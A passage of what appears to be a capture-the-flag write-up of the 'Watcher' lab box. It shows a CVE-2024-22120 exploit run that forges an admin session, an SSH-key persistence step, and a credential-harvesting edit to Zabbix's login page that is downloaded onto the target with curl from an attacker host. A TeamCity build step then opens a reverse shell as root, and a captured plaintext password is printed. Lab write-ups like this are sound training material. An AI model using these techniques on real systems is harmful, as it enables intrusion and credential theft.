root 2479 0.1 1.4 3617920 59328 ? Sl 10:41 0:50 /usr/lib/jvm/java-11-openjdk-amd64/bin/java -DTCSubProcessName=TeamCityMavenServer -classpath /root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/wagon-file-3.5.1.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/guice-4.2.2-no_aop.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-embedder-3.8.6.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/javax.inject-1.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/commons-io-2.6.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-shared-utils-3.3.4.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/jcl-over-slf4j-1.7.36.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/plexus-sec-dispatcher-2.0.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-embedder-api.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-common.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-resolver-spi-1.6.3.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/guava-25.1-android.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-resolver-provider-3.8.6.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-resolver-impl-1.6.3.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-model-builder-3.8.6.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-repository-metadata-3.8.6.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/plexus-utils-3.3.1.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/org.eclipse.sisu.inject-0.3.5.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-resolver-util-1.6.3.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-plugin-api-3.8.6.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-core-3.8.6.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-artifact-3.8.6.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/plexus-component-annotations-2.1.0.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-slf4j-provider-3.8.6.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-embedder3.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/commons-lang3-3.8.1.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-model-3.8.6.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/jansi-2.4.0.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/wagon-provider-api-3.5.1.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-settings-builder-3.8.6.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/async-trigger.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/plexus-classworlds-2.6.0.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-settings-3.8.6.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-compat-3.8.6.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-resolver-api-1.6.3.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/org.eclipse.sisu.plexus-0.3.5.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-builder-support-3.8.6.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/plexus-interpolation-1.26.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/slf4j-api-1.7.36.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-runner-server.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/plexus-cipher-2.0.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/commons-cli-1.4.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/javax.annotation-api-1.2.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-resolver-transport-wagon-1.6.3.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/wagon-http-3.5.1-shaded.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/maven-resolver-connector-basic-1.6.3.jar:/root/TeamCity/webapps/ROOT/WEB-INF/lib/log4j-1.2-api.jar:/root/TeamCity/webapps/ROOT/WEB-INF/plugins/Maven2/server/slf4j-api-1.7.36.jar:/root/TeamCity/webapps/ROOT/WEB-INF/lib/log4j-api.jar:/root/TeamCity/webapps/ROOT/WEB-INF/lib/log4j-core.jar:/root/TeamCity/webapps/ROOT/WEB-INF/lib/common.jar:/root/TeamCity/webapps/ROOT/WEB-INF/lib/idea-obsolete-openapi.jar -Dlogs.dir=/root/TeamCity/logs -Xmx1G jetbrains.buildServer.maven.remote.MavenServerImpl teamcity-mavenServer
To get a better look, I’ll create an SSH tunnel to access this in my browser. I’ll create a .ssh
directory in zabbix’s home directory, and add a public key:
zabbix@watcher:/var/lib/zabbix$ mkdir .ssh
zabbix@watcher:/var/lib/zabbix$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing" > .ssh/authorized_keys
zabbix@watcher:/var/lib/zabbix$ chmod 700 .ssh/
zabbix@watcher:/var/lib/zabbix$ chmod 600 .ssh/authorized_keys
Now I can SSH, but the zabbix user’s shell in passwd
is set to /nologin
:
$ ssh -i ~/keys/ed25519_gen zabbix@watcher.vl
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.8.0-1039-aws x86_64)
...[snip]...
This account is currently not available.
Connection to watcher.vl closed.
But I can make a tunnel:
oxdf@hacky$ ssh -i ~/keys/ed25519_gen zabbix@watcher.vl -N -L 8111:localhost:8111
This just hangs, but visiting http://localhost:8111
loads TeamCity:

The version is 2024.03.3. Not much I can do here without creds.
Zabbix as Admin
Get Login Via CVE-2024-22120
Without much else to go on, I’ll go back into the Zabbix UI as admin. The exploit POC also has a script to get an Admin cookie:
oxdf@hacky$ uv add --script CVE-2024-22120-RCE/CVE-2024-22120-LoginAsAdmin.py requests pwntools
Updated `CVE-2024-22120-RCE/CVE-2024-22120-LoginAsAdmin.py`
oxdf@hacky$ uv run --script CVE-2024-22120-RCE/CVE-2024-22120-LoginAsAdmin.py -h
Installed 29 packages in 158ms
usage: CVE-2024-22120-LoginAsAdmin.py [-h] [--false_time FALSE_TIME] [--true_time TRUE_TIME] [--ip IP] [--port PORT] [--sid SID] [--hostid HOSTID]
CVE-2024-22120-LoginAsAdmin
options:
-h, --help show this help message and exit
--false_time FALSE_TIME
Time to sleep in case of wrong guess(make it smaller than true time, default=1)
--true_time TRUE_TIME
Time to sleep in case of right guess(make it bigger than false time, default=10)
--ip IP Zabbix server IP
--port PORT Zabbix server port(default=10051)
--sid SID Session ID of low privileged user
--hostid HOSTID hostid of any host accessible to user with defined sid
This code also has a proxy hard-coded into the last bit on 8083. So if that’s not where my proxy is running, I’ll need to comment that out or it will crash:
def CheckAdminSession(ip, admin_session):
proxy = {
# "https": "http://127.0.0.1:8083",
# "http": "http://127.0.0.1:8083"
}
This takes a long time, but it does work:
oxdf@hacky$ uv run --script CVE-2024-22120-RCE/CVE-2024-22120-LoginAsAdmin.py --ip zabbix.watcher.vl --sid 52e9672d37536a3700f470cd86e16c56 --hostid 10084
(+) session_id=e
(+) session_id=e2
(+) session_id=e29
...[snip]...
(+) session_id=e29cc8d946f1a3135fe7ceec60d0ff0d
(+) session_key=b
...[snip]...
(+) session_key=b9857bc76e26cf108766043dbf43544b
try replace cookie with:
zbx_session=eyJzZXNzaW9uaWQiOiJlMjljYzhkOTQ2ZjFhMzEzNWZlN2NlZWM2MGQwZmYwZCIsInNlcnZlckNoZWNrUmVzdWx0Ijp0cnVlLCJzZXJ2ZXJDaGVja1RpbWUiOjE3NTk2NjA4MzEsInNpZ24iOiI0YTg3NzA4MmI2MDUwNGY1MjU1MDU3N2QxZjRlZTllMDM0ZDM1MWVlZDRlZDZmNjRkZjE2MGI2MTkzZWRiOTQxIn0=
That cookie does work to log in as admin.
Get Access via Database Manipulation
The Zabbix docs show how to reset the admin password to “zabbix” with a database query:
UPDATE users SET passwd = '$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username = 'Admin';
I can run this from the shell:
mysql> UPDATE users SET passwd = '$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username = 'Admin';
Query OK, 1 row affected (0.01 sec)
Rows matched: 1 Changed: 1 Warnings: 0
And then login (making sure to use “Admin” and not “admin”):
Audit Logs
On the audit logs, I’ll notice that Frank is logging in. Updating the filters to just show Frank, it shows they are logging in every minute:
Poison Zabbix Login
Looking at my Burp Proxy HTTP history, the login sends a POST to /index.php
. I’ll find index.php
in /usr/share/zabbix
. The login code looks like it’s around line 70:
zabbix@watcher:/usr/share/zabbix$ cat index.php | grep -n login
37: 'autologin' => [T_ZBX_INT, O_OPT, null, null, null],
57:$autologin = hasRequest('enter') ? getRequest('autologin', 0) : getRequest('autologin', 1);
70:// login via form
71:if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
74: if (CWebUser::$data['autologin'] != $autologin) {
77: 'autologin' => $autologin
91:echo (new CView('general.login', [
92: 'http_login_url' => (CAuthenticationHelper::get(CAuthenticationHelper::HTTP_AUTH_ENABLED) == ZBX_AUTH_HTTP_ENABLED)
95: 'saml_login_url' => (CAuthenticationHelper::get(CAuthenticationHelper::SAML_AUTH_ENABLED) == ZBX_AUTH_SAML_ENABLED)
98: 'guest_login_url' => CWebUser::isGuestAllowed() ? (new CUrl())->setArgument('enter', ZBX_GUEST_USER) : '',
99: 'autologin' => $autologin == 1,
I found the easiest way to modify the file over this reverse shell is to copy all the text and create a file on my host. Now I’ll edit it, adding a few lines:
// login via form
if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
$user = $_POST['name'] ?? '??';
$password = $_POST['password'] ?? '??';
$f = fopen('/dev/shm/0xdf.txt', 'a+');
fputs($f, "{$user}:{$password}\n");
fclose($f);
CSessionHelper::set('sessionid', CWebUser::$data['sessionid']);
Users can login as normal, but their creds will be recorded to /dev/shm/0xdf.txt
. Now I’ll serve this file with my Python HTTP server, and upload it:
zabbix@watcher:/usr/share/zabbix$ cp index.php{,.bak}
zabbix@watcher:/usr/share/zabbix$ curl 10.10.15.1/index.php -o index.php
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 4692 100 4692 0 0 91465 0 --:--:-- --:--:-- --:--:-- 92000
Soon, there’s an 0xdf.txt
in /dev/shm
:
zabbix@watcher:/usr/share/zabbix$ cat /dev/shm/0xdf.txt
Frank:R%)3S7^Hf4TBobb(gVVs
TeamCity
frank’s creds from Zabbix work here too!

TeamCity is a CICD build platform, and frank seems to have admin access. I should be able to create a build stage that executes whatever code I want. I’ll click “Create project…”. On the next page, I’ll click “Manually”:

I’ll give it a name:

The next page is general settings, where I’ll click on “Create build configuration”:

I’ll give it a name, and click “Create”:

The next page asks for a “New VCS Root”:

I’ll click skip, and on the next page, click “Build Steps” from the side menu:

This menu has a button to “Add build step”:

On the next menu, I’ll select “Command Line”:

I’ll give it a reverse shell:

On the resulting page, I see my build step:

At the top right, there’s a button to “Run”. I’ll click that, and it starts a process:

And after a minute, there’s a shell as root:
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.214.16 37982
bash: cannot set terminal process group (632): Inappropriate ioctl for device
bash: no job control in this shell
root@watcher:/root/TeamCity/buildAgent/work/da3c5189dbf269a2#
I’ll upgrade my shell using the standard trick:
root@watcher:/root/TeamCity/buildAgent/work/da3c5189dbf269a2# script /dev/null -c bash
Script started, output log file is '/dev/null'.
root@watcher:/root/TeamCity/buildAgent/work/da3c5189dbf269a2# ^Z
[1]+ Stopped nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
root@watcher:/root/TeamCity/buildAgent/work/da3c5189dbf269a2#
And grab the root flag:
root@watcher:/root# cat root.txt
f7af28f2************************